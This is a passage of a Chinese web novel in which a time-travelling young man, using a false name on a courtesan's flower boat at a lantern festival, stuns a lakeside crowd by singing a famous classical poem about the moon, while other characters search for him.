他的眉头越皱越深,表情也越来越茫然,整个人都有些懵了。
不止是他,在场的其他人也同样疑惑不已。
徐坤更是有些气恼地开口:“不是,我说小子,你是脑子不清醒还是聋了?我表哥已经让你带路了,你还傻站在这干嘛?”
听到这话,清瘦小厮把后槽牙都快给咬碎了。
他咧咧嘴,硬生生道:“我说两位,你们何必如此欺负人啊?我一直在跟这位公子说话,是你们非得在这你一言我一句,打扰我二人交流不说,还非得辱骂于我,这合适吗这?”
要不是考虑到对方是客,他是真想大骂一句:
干嘛?干嫩娘!
不过就他刚才这一句,也足够让侯茂杰和徐坤完全懵在原地了。
“什么?”
两人僵硬地扭动脖子,顺着小厮的手掌看去,发现对方所指之人,竟是坐在侯茂杰旁边的江云帆!
“这……这怎么可能?”
是啊,这怎么可能!
侯茂杰整个人都不好了,他是万万没想到自己会一语成谶,说让江云帆上船,结果这小子还真要上船了!
可对方哪一点比得过自己?
论衣着打扮,论礼仪风度,论身世背景,论才华琴技,自己哪一项不是远远强过于他?
就算是比容貌……那,那他也是与江云帆不相上下的!
“哪有什么不可能?”清瘦小厮一脸无语,“请这位公子上船,那是翩翩姑娘的意
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思,还请阁下莫要孔雀开屏。”
好一个孔雀开屏!
这不是四个字,分明就是四把刀,在侯茂杰胸口狠狠插了四下。
现在转头一想,自己刚才当着所有人的面,怡然自得地那几声“承让”,是有多么的讽刺。
此刻他终于体会到了当时江元勤在王府楼船上的感受。
丢人啊!
在众目睽睽之下,一张脸火辣辣地生疼,他候大少爷,从小到大还从来没有丢过这么难看的人!
很明显,周围已经有人开始幸灾乐祸地窃笑了。
这时徐坤终于是受不了窘迫,连忙拉了拉他的手,让他赶紧坐下来。
于是众人的目光,这才逐渐转移到江云帆的身上。
“咦?不对吧,看这人穿着,像是哪处来的小杂工,翩翩姑娘怎会挑选这样的人上船?”
“是啊,他能懂得诗词乐理吗?”
“请他上船,怕不会要闹笑话!”
周围人你一言我一语,然而此刻江云帆的内心,却是叫苦不迭。
他也是信了穿越者都是气运之子了。
最近这段时间,他无论是走到哪里,隐匿在多少人之间,都能被人给精准挖出来。
不过也罢了。
江云帆今日来此,本就打算要赚足够的情绪值,这番被人选中,倒也提供了一个完美的舞台。
唯一要考虑的问题,便是如何控制自己的名声传播。
好在现场认识他的人就只有侯茂杰,且这位大少爷对他的才华并不认可,这样时候圆起来也方便。
想到这里,江云帆果断起身,应了那清瘦小厮一句:“走吧。”
“公子请!”
两人一前一后,迈步往那湖畔走去。
此刻恍惚了半晌的侯茂杰,终于还是忍不住,起身指着江云帆的背影便怒喝:“姓江的,我今天就把话放在这里,上船之后你若奏不出个所以然,今日本少爷必不会放过你!”
他算是想明白了。
自己前后这两次窘迫,归根结底,都是由江云帆而起。
许小姐不会骗他,他打赌姓江这小子就是个废物,不通文辞,不明乐理,上船也只是丢人。
很好。
想到这一点,侯茂杰倒是有了些许安慰,起码这次也能看见江云帆丢人了。
……
第106章 居然是同一个人
“你打算何时回北境。”
湖岸之外,花船的船屋内,齐之瑶又给自己满上了一杯凉茶。
没办法,天气实在太热,容易口渴。
手中这千山绿,本就已是大乾三大名茶中最为清燥解渴的一种,却还是顶不住江南燎人的暑热。
茶桌另一侧,翩翩沉思了片刻。
“或许还需逗留些时日。”
淡粉色的面纱下,红唇微动,“江南距北境遥遥**,一来一回费时费力,若不能将事情处理妥当,下次再来就不知是何年月了。”
大乾幅员**,共十三州七十六郡,按照地理范围又划分为东南西北中五大区域。
其中江南自然是在南方,自首府怀南城往北跨越千里,便到了位于中部核心的帝国都城。而北境则是从帝都继续往北,以人之脚力需行两月余方可抵达。
那里靠近北漠,与蛮族领地接壤,也是大乾经历战事最多的地方。
翩翩来时未经帝都,反而是从东海城绕了一圈,走了足足三个月,这才抵达江南。
所以,她无论如何也要见到那个人。
齐之瑶没有多想为何而来,只点点头,将杯中茶水一饮而尽。
翩翩见状,伸手提起茶壶,为其续上半杯。
齐之瑶继而再开口道:“那你下一步,又打算去往何处?”
“许是凌州,也可能是怀南。”
“嗯,既然已经到了江南,若不好好欣赏一下此处美景,确实遗憾。”
翩翩没有多说,齐之瑶也没有多问,但她知道对方千里迢迢来到江南,必是抱有重要的目的。
具体是什么,她不清楚,但可以肯定与北漠和战事有关。
两人就这样有一搭没一搭地聊着,直到船舱的木门被敲响。
“咚咚咚……”
“齐小姐,翩翩姑娘……那位公子已经到了。”
门外传来春姨的声音,齐之瑶与翩翩相视一眼,各自从对方眼中读出了不同的情绪。
齐之瑶自然是开心的,她选择了让江云帆登船,这个让归雁先生都敬爱有加的年轻人,她很好奇对方究竟有什么魔力。
当然,如果此人能为自己所用,那对她将来的计划实施,将会有莫大的帮助。
而对于翩翩而言,这事却让她心生烦闷。
其实她来镜源县已有不少时日,而今总算见到了自己想见的人,却偏偏因为齐之瑶的干预,让她无法与之碰面。
这又恰巧打乱了她的计划。
齐之瑶再一次将杯中的千山绿饮尽,随后理了理身上的裙袂,自椅子上站起来,朝屋外吩咐了一声:“请他进来吧。”
“是。”
春姨的声音响起,而齐之瑶则朝门口那壮硕的男人打了个响指。
“走吧阿洪,咱们去后面待着。”
名唤阿洪的护卫点点头,自地上站起身来,随齐之瑶走进隔着一道木墙的后舱。
离开前,齐之瑶还提醒了翩翩一句:“别忘了我交代你的事。”
翩翩无奈点头。
尽管心有不悦,但也只得将烦闷压下。随后自茶桌旁起身,兀自走进一侧的屏风之后。
透过两扇屏风之间的缝隙,静静看着那门口,等着齐之瑶选中的人出现。
在不必要的情况下,她还是尽可能地避免露脸。
……
江云帆乘着小舟自湖边出发,绕了一个小圈之后,登上了花船。
迎面便遇上了等待已久的春姨。
这女人完美契合江云帆心中青楼嬷嬷的形象,四十岁上下的年龄,体态丰腴,相貌算不得丑,但跟好看也丝毫不沾边。
不过也有不同之处,那便是
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少了“大爷上来玩”的热情,反倒在看他时眼中闪过几丝轻蔑。
“进去之后,少说,少做,翩翩姑娘让你干什么,你就干什么。”
春姨一边领着江云帆往船舱走,一边面色冰冷地提醒,“还有,切不可惹翩翩姑娘不高兴,更不能心生杂念,否则今夜这船你恐怕是下不了了,明白吗?”
“嗯。”
江云帆点点头,也不想与她多费口舌。
他之所以答应上船,不过是想借着这个机会,为自己寻找一个合适的舞台,然后将岸上那密密麻麻的观众,全部变成生产情绪值的对象。
至于什么翩翩姑娘,什么风雅逸趣,于他而言都不重要。
就这样跟随着春姨的脚步,江云帆很快便来到了船屋的木门前。
在对方将门打开后,他一脸平常地走了进去。
这花船很大,舱内的空间也十分宽敞,江云帆一眼便看见了茶桌、琴案和舞场此类的设施,却并未看见有人。
江云帆倒也没客气,走到茶桌旁的椅子上坐下。
桌上摆着一只茶盏,其中还有尚未饮完的茶水,上方仍旧飘着丝丝白烟。
饮茶的人并未离开,应该就在这间屋子里。
茶盘中还有干净的茶杯,尽管略有几分口渴,但江云帆也没有傻乎乎地端起茶壶就开倒。
出门在外,不明来历的水不要喝。
稍微等了片刻,依旧不见响动,江少爷终于是不耐烦了。
“姑娘找在下所为何事,不如现身一谈。”
空气依旧安安静静。
此时的翩翩,哪里有精力现身,因为她整个人都怔在了屏风后面。
她哪里能想到,齐之瑶选中的幸运之子,居然正是她要找的人!
而如今望着眼前那张脸,她再一次陷入了沉思……
第107章 好一个美人计
“翩翩啊,你要永远记得,杀害你爹和你爷的人,叫江云天!”
“你爷死的时候,脑袋被砍成了两半,尸体被挂在北原城的城墙上晒了三天三夜。”
“你爹死的时候,身上中了十三支箭,其中有一支从眼睛里扎过去,我去收尸,连带着拔出了他的眼珠子……”
“翩翩,为我们报仇……为我们报仇啊——”
“啊!”
翩翩猛地惊呼一声,脑海中一道道混乱的画面,一阵阵凄厉的呐喊,迅速缩回心底。
此刻她才发觉,自己的身体正不听颤抖,胸口压着的气险些提不上来。
“呼……呼……”
躲在屏风后舒缓了好一阵,直到情绪稍微平复下来,眼中的血红消散,翩翩方才整理好衣裙,款步走到堂中。
目光看向茶桌旁的男子,此刻她的心情极为复杂。
随即,微微欠身行了一礼:“见过公子。”
江云帆闻声抬首,目光落在她身上,细细打量了几眼。
确如传言所说,眼前这女子生得十分好看。尽管戴着面纱,却依旧掩盖不住俊美的脸部轮廓,而遗漏在面纱之上的那双眼睛,更是精致漂亮,似有勾魂夺魄的神采闪烁。
不过从她的眉眼之间,江云帆倒是看出了几分漠北的异域风情,与江滢的长相风格有点类似。
难不成,这姑娘也是从北漠来的?
这个念头只是一闪而过,他并未深思。
既为客,江云帆也没有一直安坐的道理。他立刻起身,同样彬彬有礼地回了一礼:“想必阁下便是翩翩姑娘了。”
“正是小女子。”翩翩螓首轻点,声音里听不出丝毫波澜,“今日于这湖中画舫与公子偶遇,实乃三生有幸。还未请教,公子尊姓大名?”
又是一上来就盘问姓名。
江云帆心中了然,却也没打算藏着掖着,果断坦言道:“行不更名,坐不改姓,在下……于晏!”
于晏,当然得叫于晏。
就好比江云帆上次已经使用过“彦祖”这个名字,并且还被一部分人知晓。若再多次使用,只会导致知晓的人也越来越多,一旦有人相互碰头讨论,那么他被找到的几率就会大大增加。
因此,频繁地更换马甲,是他在这危机四伏的环境中,为自己准备的生存之道。
“于公子……请坐。”
翩翩在心中将这个名字默念了一遍,随后优雅地伸出手,示意江云帆落座。
江云帆也不客气,一屁股坐下,与翩翩隔着一张茶桌,分坐两侧。
而此刻,仅隔着一道薄薄木墙的后舱之中,齐之瑶的神情前所未有的凝重。
她所处的位置极佳,足以将前舱的对话听个大概。尤其是江云帆的声音,虽不算刻意拔高,但音色清朗独特,穿透力极强,每一个字都清晰地传入她的耳中。
只是她想不明白,这家伙明明叫江云帆,为何在翩翩面前,却不肯吐露真名,反而谎称自己叫什么“于晏”?
是此人天性谨慎,习惯性地运用化名?
不对!
当“化名”二字在脑海中闪现的瞬间,齐之瑶的心跳骤然漏了一拍。
听传言说,七月三日王府楼舫文会上,那一首从天而降的惊世妙词,便是由一位名为“彦祖”的高人所作。
因此,所有人都猜测,“彦祖”只是一个化名,是那位不愿显露身份的绝世高人,为避世俗纷扰而用来掩饰身份的工具。
而今日,江云帆也同样用了化名。
难道说……
一个大胆而令人惊恐的猜想自脑海中诞生。
江云帆文才了得,喜欢用化名,再加之归雁先生对其喜爱有加,这一切似乎都在指向一点——江云帆很可能与文会那首词有关!
想到此
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处,齐之瑶不由得挺直了脊背,呼吸都变得急促起来。
若真如此,那她接近江云帆,将其拉拢的目的,就更不能失败了……
……
前舱内,江云帆见对方迟迟不语,有些不耐地打破了沉默:“姑娘还未告知,此番让在下登船,究竟所为何事?”
“哈?”
见江云帆一脸严肃,翩翩反倒是茫然了。
这还是她头一次遇到这种情况。以往来给她捧场的客人,一旦被选中,尽皆表现得欣喜若狂,初见便将各种殷勤奉上。
没有人会问一句“找**嘛”。
本就是娱乐消遣,两人相逢有缘,那便聊聊天,喝喝酒,唱唱歌,互作诗词,同鸣琴瑟,不然还能作甚?
不过出于礼貌,和为了达成自己的目的,翩翩还是展颜一笑。
她主动伸手,将覆于脸上的面纱摘下,也将自己五官清晰展现在江云帆面前。
主动露脸,这倒是让江云帆有些惊讶。
不过不得不承认,这位翩翩姑娘着实娇美,大眼高鼻梁,骨相匀称。肤质与江南人的洁白细腻不同,更多带着几分浅黄,虽算不得柔腻,却显得十分健康。
以江云帆的眼光来看,面前女子的容貌,大概与许灵嫣相近。
总的来说,来大乾这三个月,见过的所有人中,他还是觉得今晨跟在归雁先生身旁那位小书童最好看。
只可惜,是个男的。
相比之下,异域姑娘的身材就明显火热不少,翩翩看着年龄应该不大,但却凹凸有致,韵味十足。
在那红裙之下,仿佛藏着巨大的山岳。
似乎是注意到江云帆的目光,就在这时,翩翩突然挺了一下胸口,那幅度明显增高了许多。
紧接着,她的声音里带着几分妩媚:
“公子问我为何寻你,那自然是想与公子,共度良宵了~”
第108章 谁说我心心念念于他
好一个美人计!
若非**是人间清醒,恐怕今日就得交代在这里了。
他稳了稳心神,开口道:“姑娘说笑了,今日盛会,论的是诗词歌舞,谈别的事,恐怕有伤风雅。”
“哦?公子懂得诗词歌舞?”
翩翩的眼中明显闪过一丝意外,继而追问:“可擅琴乐?“
“略会一二。”
“那太好了!”
翩翩忽而起身,快步来到窗前,将那窗户推开,抬头仰望皓亮千里的银色月空。
好美的月夜!
她不禁心生感慨,连忙回头:“不如这般,以月为题,公子为我赋诗词一首,亦或琴乐一曲,我为公子献舞一支,你我同享良宵,如何?”
以月为题……
江云帆微微一皱眉,一句句烂熟的文字,迅速浮现在脑海。
来之前他还在纠结,要掏出什么样的**锏,来将全场观众给从头惊到脚。
现在翩翩姑娘倒是给了他思路。
以月为题,诗词结合乐曲。
前世古代的乐曲,江云帆自然无从了解。但现代音乐配古代诗词,那倒听过不少。
想到这,他心里已经提前开始感谢了。
感谢东坡先生!
感谢王菲女士!
……
时至深夜,皓月当空。
天际云层寥寥,自山尖至穹顶牵引成丝,细碎零散,却无意染上了月光的白。
江云帆只注意到,在花船后方的夜色中,隔着几艘小船的湖面,隐匿着一艘体型庞大的楼船,却不见其上飘摇的画着九龙印记的风帆。
而对于秦七汐而言,她同样也没有看见江云帆。
前方的花船并不算大,可停泊的位置,却恰好遮蔽了大半岸滩。故而江云帆在乘坐小舟登船时,她全然没有发现。
船尾处的三人一前两后而立,感受着清凉拂过的夜风,也欣赏着岸上绚烂的灯火盛景。
“看来花船上这女子果真不见得,方才这一歌一曲,可谓非同凡响,也怪不得能让这么多的男人为之着迷。”
青璇其实一开始就想说了,这歌舞会上的花魁究竟有多大的魔力?看看岸上那些为她而来的文人才子,相互拥挤着险些要掉进湖里。
这阵仗,怕是比王府举办的镜湖文会还要热闹!
但后来一听船上传来琴乐,以及随之而来那哀婉凄凉的歌声,她不得不承认,前方船上的女子,确有几分魅力在身上。
不过青璇也清楚,凡是女人,哪怕魅力再大,也大不过自己身前这位。
她见过太多太多号称惊世佳人的美丽女子,在见到郡主殿下之后自惭形秽。
想着她们本就是在此赏乐,青璇便又开口询问秦七汐:“殿下认为如何?”
秦七汐这个当主子的,与她和墨羽之间相处的方式比较特殊,不似平常主仆那般上下有别,相反,有时更像朋友。
所以侍女向主子提问这种事,对于她们来说并不罕见。
“曲好,歌也好。”
秦七汐也确实没有生气,她点了点头,心中回想着方才那首歌,开口评道:
“那位姑娘应是自幼学习声乐,且天资聪颖,若方才那首歌是她
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自己所创,那便是位难得一见的才女!只是……”
秦七汐顿了片刻,清秀的柳眉间闪过一丝惆怅,“只是不知为何,我从她的歌声里听出了很深很深的哀怨,仿佛已经持续了很多年,而且……不似伪装。”
“这么说来,还真是个苦命姑娘。”
青璇越扯越远,就在开始关心起别人生世的时候,墨羽适时打断了她:“也不知那江云帆究竟在何处,若今夜寻不到,往后怕是机会渺茫了。”
谈及此,秦七汐当即变得满脸凝重。
倒是青璇连忙接上话:“是啊,咱们殿下若寻不到她心心念念的江公子,待回到王府,怕是得郁郁好些时日了。”
“谁说我心心念念于他了?”
小郡主美目一横,眼神里闪过一丝倔强和小傲娇,“事先本郡主便已说好,此番主要为观景而来,能不能遇上江公子,权凭缘分。你若再多嘴胡言,便罚你打扫楼船三个月!”
“啊……青璇知错了!”
青璇道歉也是迅速,生怕再领上一份劳役大礼包。
秦七汐闻此,也没再理她。
但心情却极为复杂。
若真如青璇所言,今夜见不到江云帆,那她真的不会觉得遗憾吗?
当然会。
虽然她嘴上说着随缘而遇,但又何尝不想走下船,到那灯火辉煌之中,去寻找自己想见的人?
但她也明白,今夜的县城人海茫茫,想要从中偶遇一人谈何容易?
与其在城中瞎碰,不如就在此地静待,或许能见面的可能性更大。
……
第109章 该上正戏了
此时此刻,花船的甲板之上。
先前几名纵舞的女子,此刻皆已退场,取而代之的,是推开船门,莲步轻移而出的翩翩姑娘。
俏丽女子行至船前,微微俯身行了一礼。
靓丽的身影出现刹那,岸上苦等已久的文人公子们立刻沸腾起来。
“翩翩姑娘我爱你!”
“今夜见佳人,如同残秋又逢春,翩翩姑娘,于我而言,你便是那四季如春!”
“翩翩姑娘,方才那小子若是不行,能否考虑考虑我?”
众人或直白或含蓄,一字一句离不开翩翩姑娘,都想让自己表现得更具魅力一点,盼望着以此得到船上女子的一丝青眼。
侯茂杰与徐坤也一样。
方才他们已从广场西侧的角落离席,自人群中硬生生挤过,勉强来到湖边。
起初的目的,是想近距离看江云帆丢人。
而此刻恰好遇见翩翩姑娘现身,两人瞬间便丢了魂。
“美……太美了!”
徐坤完全僵在原地。
侯茂杰不言不语,但心里却丝毫不平静,
他敢发誓,船上这位女子,便是自己平生见过最美丽的绝色,没有之一!
尽管隔着面纱,但借月色与火光,依旧能够看清她脸上那精致的五官轮廓,再搭之冷然自信的眼眸,窈窕挺拔的身姿……这样的美人,恐怕只应天上方可存在。
但是一想到对方邀请登船的人是江云帆,他的心情就变得无比愤怒憋屈。
“江云帆,本少爷倒要看看,你究竟要如何演这一出!”
侯茂杰现在已经迫不及待,想要看江云帆出丑了。
只有当翩翩姑娘看清那小子是个实打实的废物,将其驱逐离船,自己才能有机会。
而此时此刻,船屋之中。
让秦七汐心心念念,又让侯茂杰恨得牙痒痒的江公子,已然坐在了屋中摆放的琴案前。
他将案上的七弦琴仔细观察了一遍,发现这玩意儿与江南普遍所用的七弦琴有点儿不一样,无论是琴弦的粗细与分布的位置,都有着不小的区别。
与前世学习过的古筝相比,更是完全不同。
不过既然都是弦乐器,那就万变不离其宗,只要熟悉乐理,稍微研究一下便可熟悉。
想到这,江云帆果断上手,十指迅速在琴弦上撩拨拢捻,弹一首前世各类乐器初学的入门曲——《送别》。
“铛啷啷……”
一阵节奏混乱,又毫无旋律可言的琴声混入空气,穿过墙壁,向着船外的四面八方播散而去。
此刻翩翩正俏立船上。
此前与江云帆商量好,由江云帆奏乐,而她负责献舞,邀月互勉。
而按照惯例,这一曲歌舞,还需要献给所有到场的观众,如此才能不负众人喜爱。
眼下翩翩已然做好了准备,就等着江云帆的琴声响起,她便根据乐曲的旋律节奏,即兴而舞。
但她没想到,等了好些时间,等来的却是这样的结果。
“……”
听到江云帆的琴声,翩翩当即愣住,整个人茫然立于原地,不知所措。
这是怎样的琴声?
杂乱无章,有如千丝万缕混**织,曲调一上一下毫无规律,前后节奏风格迥异,或许连一曲正常的音律都算不上。
总的来说,就是乱弹琴!
翩翩完全懵了,面对这样一首曲子,她要如何为之配舞?
这琴技,难道便是于晏公子所谓的“略知一二”?
翩翩无奈,而岸上的众人则再一次抬
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高了嗓音。
“我的天呐,这是什么啊?多听上几遍,怕是要丢了性命!”
“这就是刚才上船那小**的?让他赶紧下来,自己丢人现眼倒无所谓,别扰我等雅兴,更别乱了翩翩姑娘的场子!”
“对,让他下来!”
讨伐声此起彼伏。
侯茂杰更是嘴巴一咧,直接笑出了声:“哈哈哈哈,我早说过,江云帆这小子就是个废物,就他这样式的,也配涉猎琴乐?”
“翩翩姑娘,放弃那人吧,论琴论诗,我侯茂杰都比他强一万倍!”
他兴奋不已,心中更是畅然大快。
看来那日在湖畔红雀亭,江云帆这小子口口声声说自己会弹琴奏乐,纯粹就是在装腔作势!
翩翩也是没想到,齐小姐亲口说过此人才华横溢,事实却是如此……
齐之瑶同样没想到。
此刻她已经堵上了耳朵,总觉得听到江云帆这琴声会浑身犯哆嗦。
当然,位于王府护卫船上的秦七汐三人,也同样听到了这琴声。
“这……这弹的什么东西啊?”
青璇脸上已经写明了嫌弃,饶是墨羽一向淡定,此刻也不禁紧咬牙关。
至于郡主小姐,则紧紧皱起了秀眉,似乎有些不知所措。
……
这杂乱无序的琴声,持续了许久。
就在翩翩实在难以忍受,转身走向船舱,而即将抵达船门处时……那琴声总算停了。
“呼……”
屋内的琴案前,全然不知自己已经惹得众怒的江云帆长长地舒了口气。
很好,终于是把这七弦琴的弹法给弄明白了。
方才他并非乱弹,而是在试音和熟悉指法。
现在铺垫完成,那就该上正戏了……
第110章 但愿人长久,千里共婵娟
县城东北,花市口。
南北大道交错之所,距离歌舞会的现场,尚有半里之遥。
此地亦与明灯街一样,是镜源县城内的商贾云集之地,尤其在万灯节,借着灯火的辉亮,整圈路口都被各行各类的商贩所占据,叫卖声连绵不绝。
只是今日的灯会,这里的热闹程度远不及往年。
全因那花市里的歌舞会,一位容貌堪称天人的花魁姑娘,引了大部分的游客,导致此处明显冷清不少。
甚至就连两名卖糖葫芦和煎饼的摊主,也丢下了手头的活计,混着人群前去看美女。
此时许灵嫣一行人自大道陆陆续续而出,在花市口稍作停留。
为打听彦公子下落,杨文炳特意去摊前买了一份桂花酥,并听四十岁的老板娘东拉西扯了半晌,最终也没能得到有用的信息。
他踱步回到许灵嫣身边,与之一同走进人群拥挤的花市街。
虽说彦公子独来独往,似乎喜好清净。
但杨文炳能看得出来,对方今夜到这万灯节,就是为热闹而来,故而最可能去的地方,就是人群最密集处。
“也不知侯茂杰几人,可有发现彦公子踪迹。”
此刻一袭艳丽红裙的许灵嫣,正伸着修长的脖颈四下张望,总想让目光能够看得更远更仔细一点,避免错过任何一个角落。
万灯节一天燃尽了镜源县半年的火光,会上的夜晚通明彻亮,可她依旧寻不到自己想见的人。
眼下,侯茂杰等人也去了半晌,许久不见传回消息,许灵嫣也不知结果如何。
杨文炳没有回答她的话,而是默默将手里的桂花酥递上。
“夜已深了,先吃点东西,垫垫肚子吧。”
“文炳,你说会不会是上天刻意安排,我与彦公子,哪怕经过无数个相同的路口,也注定会在某一刻相互错过?”
“……”
杨文炳欲言又止。
其实他很想对许灵嫣实话实说,实际上你与彦公子并非相互错过,而是你单方面的错过而已。
以他对彦兄的了解,即便是灵嫣这样天姿绝色,又身份高贵的女子,恐怕在他眼里,也与凡俗常人没有任何区别吧?
但杨文炳自然不能明说,毕竟他能够察觉得到,许灵嫣此刻情绪十分低落,自己不便雪上加霜。
考虑到这,他便再次开口劝说:“多想无益,不如吃些甜食恢复体力,咱们往那花市深处去找。”
这次许灵嫣逐渐收回了游离的视线,目光落到了杨文炳手中的桂花酥上。
她呼了一口气,伸手接过其中一块,放进嘴里。
嗯……香酥有度,但味道一般,显然是比不上京城老巷那闻名天下的桂花酥了。
说起来,小汐倒是爱吃这东西。
“也不知江云帆那家伙究竟有什么魅力……”
许灵嫣喃喃自语了一句,心中也是疑惑万千,想不通为什么江云帆那种一无是处的废物,竟能让堂堂临汐郡主随时挂念。
甚至就连万灯节这寻觅彦公子的绝佳机会,她都不珍惜,反而要去那小小的秋思客栈。
殊不知,这一声低语,倒让杨文炳听得清楚。
“江云帆?”
杨文炳转过头来,“莫非,就是江家的那位三公子?”
“没错,正是那废柴少爷。”许灵嫣冷笑道,“当初他**家老爷子逐出家门,本以为会洗心革面。结果近几日我在秋思客栈,遇见了一身布衣的他,才发现三个月过去了,这厮的品行比当初更为恶劣。”
她永远也忘不了,江云帆在念荷亭下狮子大开口,勒索她八百两时的那副嘴脸。
“这么说,他也来了镜源县。”
“嗯,可还记得那日我同你说过,遇到一个与彦公子相貌相似,但德行才能却天差地别的人?我说的就是江云帆。”
听到这话,杨文炳当即一愣。
秋思客栈。
与彦公子容貌相似。
一身布衣……
这几个关键的信息点,在他脑海中下意识结合在一起。
一时杨文炳眼中的疑惑更浓,但内心却似乎越来越清明,仿佛突得了什么惊人的发现。
“灵嫣……”
他皱眉开口,正
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欲说出自己的猜想。
却在这时,周遭的人群突然动荡起来,越来越多的游客从后方开始推搡,都朝着远处歌舞会的现场拥簇而去。
“怎么回事?”许灵嫣一脸茫然。
前方带人先行的侍女小缘连忙扭过头来,大声喊道:“小姐,好像就在刚才,前面的歌舞会上,突然出现了一首震惊全场的词曲!听路人称赞,说那词曲堪称千古绝唱!”
“千古绝唱?”
这四个字一出,许灵嫣与杨文炳的身体猛地颤抖了一下。
两人几乎同时转过头,与对方相视一眼。
千古绝唱,上一次有如此评价,还是在王府楼舫那晚,从天而降的那首“东风夜放花千树”。
上一次与彦公子有关。
而这一次,彦公子所消失的地方,又恰恰就在此间!
难道说……
许灵嫣只觉得心中沸腾不已,她连忙开口道:“文炳,你脚力好,快去现场看看。若彦公子真在场,你务必稳住他,等我前来。”
“好!”
杨文炳也丝毫没有犹豫,果断拨开人群,以最快的速度往前突行。
他生在武将世家,虽喜好文学,但因自幼被逼迫习武,故而体格和力量都强于普通人不少,推起人来也是十分轻快。
短短片刻,便已经抵达歌舞会的广场外围。
四下虽然人多,却没有一个人开口说话,甚至发出半点声响。
所有人都屏住呼吸,目光看向远处的湖中,那艘随夜风清波微微摇荡的花船,似都想将那阵阵传来的琴音,听得更清楚一点。
杨文炳爬上了广场一侧的假山。
虽隔着不短的距离,但从这个角度,依旧能清楚看见那艘花船。若仔细聆听,空气中不断跳跃的旋律,也能完整地飘进耳中。
而在那琴声的绕动下,杨文炳还依稀听见了其中夹杂的一道歌声。
歌词他听不清,但歌者的声音,却能立刻分辨出来。
一时之间,杨文炳直接怔在原地。
这熟悉的声音……
是他,
果然是他!
第111章 真的是彦公子
果然,杨文炳心中那道模糊的猜测,在此刻被彻底印证。
他原以为彦公子只是为了避世,才隐于市井,却未曾想,他竟真的会在这万众瞩目之处,再度现身。并且,还以这样一种惊世骇俗的方式,献上了一曲足以令天地失色的琴乐。
杨文炳屏住呼吸,将全身的感官都凝聚于双耳,生怕错过任何一个音节。
恰在此时,一阵清冽的湖风拂过水面,仿佛一只无形的手,将那花船上缭绕的琴音与歌声悉心卷起,温柔地送入岸边每个人的耳中。
只此一瞬,那清澈而磁性的歌声,便化作一句句清晰的词文,精准地敲击在他的心弦之上……
“转朱阁,低绮户,照无眠。不应有恨,何事长向别时圆?”
“……”
杨文炳的身形猛地一僵,整个人如遭雷击。
好词!
当真是惊艳绝伦的好词!
仅仅一句,一幅孤寂清冷的画卷便在他脑海中轰然展开。皎洁的月光流转于华美的楼阁,穿过雕花的窗户,静静洒在那彻夜无眠的思念者身上。
此乃对月怀人,已是意境非凡。
而下一句,更是神来之笔!那对月亮为何偏在离别时圆满的埋怨,看似无理,却将那份无法言说的愁绪与怅然瞬间推向了顶峰,把那份刻骨的思念写得淋漓尽致!
以杨文炳浸淫文道多年的见识,光是这开篇两句,便足以让此词傲立于大乾文坛,成为无数文人墨客争相传颂的佳作。
但他万万没有料到,这等惊才绝艳,竟还仅仅只是一个开始。
就在他心神激荡之际,那熟悉的声音再度破空而来,带着一种超然物外的旷达,悠悠响起——
“人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。”
嗡……
这一刻,杨文炳只觉得脑海中一片空白,仿佛有一口无形的洪钟被人奋力撞响,那雄浑的钟声贯穿了他的神魂,震荡在天地之间,让他瞬间忘记了呼吸。
“好一个……好一个千里共婵娟!”
将人间的聚散离合与天上的月圆月缺等同视之,再将满腔的思念与不甘,尽数化为一句跨越千里的真挚祝愿。
只此一刹那,全词凄清幽怨的基调便被彻底扭转,升华为一种旷达洒脱、包容天地的博大胸襟。如此境界,如此笔力,非是那种心境超脱于九天之上的非凡人物,绝不可能参悟!
杨文炳甚至无法用言语来形容自己此刻的心情,喉头一阵哽咽,最终只从牙缝中挤出几个字:“此句……必将万古流传!”
是了,船上的那个人,那个被他尊为彦公子的存在,永远也不会让他失望。
也直到此刻,杨文炳才猛然惊觉,自己似乎忽略了一个至关重要的规律。
自七月初三,镜湖文会开幕至今,他一次又一次地追寻着彦公子的踪迹。如今回想,那每一次的相遇,都伴随着一场文坛的地震。
初见时,在镜湖之岸,一句“一道残阳铺水中,半江瑟瑟半江红”,让他初窥其才华的冰山一角,震撼不已。
再见时,是文会夜里的湖心小舟,一首“东风夜放花千树”横空出世,其光芒席卷整个江南,至今仍是文人心中不可逾越的巅峰。
第三次,便是今夜偶遇,把酒言欢后,那一句“何夜无月?何处无竹柏?但少闲人如吾两人耳”,更是将人生哲理道得通透,堪称妙绝。
而今夜,在这月色浩渺的湖天之间,这一句“但愿人长久,千里共婵娟”,便如九天惊雷,再一次震彻了他的心扉。
很显然,彦公子的每一次出现,都意味着一首远超大乾文人想象极限的诗词即将诞生。
此前文会之上,所有人都以为那首从天而降的词文乃是仙人所作。
杨文炳不以为然,他坚信是出自彦公子之手。
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>但现在,他信了。
能如此接二连三地创造出这般惊世骇俗的奇作,这彦公子,不就是谪落凡尘的仙人吗?
……
时间仿佛在这一刻凝固。
花船上传来的琴音渐渐步入尾声,歌声虽已停止,但那余韵却仿佛拥有生命,与空气融为一体,在湖岸之间久久缭绕,不肯散去。
而那死一般的寂静,仍在广场上持续。
这歌舞会的现场,少说也有数百人之众,此刻却落针可闻,仿佛所有人都被抽走了魂魄,连一丝呼吸声都无法听见。
唯有水边草丛中传来的几声虫鸣,点缀着这沉寂的夏夜。
天地无言良久,直到又一阵清凉的湖风卷携着水汽袭来,为岸边的人们带回了几分神智。
众人这才如梦初醒。
下一刹那,通天彻地的惊呼声、赞叹声、议论声轰然炸响,汇成一股巨大的声浪,比起先前任何时候都要猛烈数倍!
“绝唱……此词当为千古绝唱啊!”
“岂止是好词?敢问在座的诸位,无论是镜源本地的才子,还是自京城远道而来的文学大家,可曾在任何典籍、任何场合,见过如此惊心动魄的词句?”
“没有,老夫敢以毕生清誉担保,绝对没有!”
一位身着锦衣、气度不凡的中年儒士激动得满脸通红,“本人不才,早年曾在乾文阁任职,负责整理历代入阁的佳作名篇……但即便是那些被誉为乾文之巅的旷世之作,与此词相比,亦要黯然失色!”
诚然,大乾立国数百年,诗词歌赋的发展早已被认为达到了顶峰,再难有突破。
可谁曾想过,词竟能如此来写?竟能通过短短数十字,便将那百转千回的愁思,将那难以言明的人生至理,借由一轮天边的明月,表达得如此淋漓尽致,如此荡气回肠!
若要总结,便只有一句话:这首词,已然入了神境!
……
第112章 他不是就是仙人吗
“嘶——哈……”
湖岸边缘。
侯茂杰猛地倒抽了一口大气。
